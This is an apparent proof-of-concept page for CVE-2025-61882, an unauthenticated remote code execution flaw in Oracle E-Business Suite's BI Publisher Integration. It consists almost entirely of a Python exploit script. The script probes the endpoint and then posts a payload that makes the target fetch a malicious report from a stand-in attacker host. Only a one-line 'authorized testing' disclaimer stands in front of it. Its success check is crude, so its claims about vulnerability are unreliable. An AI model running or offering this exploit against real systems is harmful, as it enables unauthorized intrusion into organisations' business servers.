CVE-2025-61882 Oracle E-Business Suite BI Publisher远程代码执行漏洞

# CVE-2025-61882 - Oracle E-Business Suite BI Publisher Integration RCE PoC # Affected: Oracle E-Business Suite 12.2.3 - 12.2.14 # Component: BI Publisher Integration (Oracle Concurrent Processing) # WARNING: For authorized security testing only import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-ebs.example.com" # BI Publisher Integration endpoint commonly exposed in Oracle EBS VULNERABLE_PATH = "/OA_HTML/BIPublisherIntegration" def exploit(target): """ Exploit CVE-2025-61882 - Unauthenticated RCE via BI Publisher Integration The vulnerability allows unauthenticated network access via HTTP to compromise Oracle Concurrent Processing. """ headers = { "User-Agent": "Mozilla/5.0 (compatible; OracleEBS-Exploit)", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } # Malicious payload targeting the BI Publisher Integration component # The injection point is in the report processing parameters payload = { "report_url": "http://attacker-server/malicious_report.rtf", "output_format": "PDF", "_csrf": "", "_eventId": "", "_session": "" } try: # Step 1: Probe the vulnerable endpoint probe_url = f"{target}{VULNERABLE_PATH}/faces/Service" resp = requests.get(probe_url, headers=headers, timeout=10, verify=False) print(f"[*] Probe response: {resp.status_code}") # Step 2: Send the exploit payload exploit_url = f"{target}{VULNERABLE_PATH}/reportService" resp = requests.post(exploit_url, data=payload, headers=headers, timeout=10, verify=False) print(f"[*] Exploit response: {resp.status_code}") if resp.status_code == 200: print("[+] Target appears vulnerable to CVE-2025-61882") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-61882 PoC - Oracle EBS BI Publisher Integration RCE") exploit(TARGET_URL)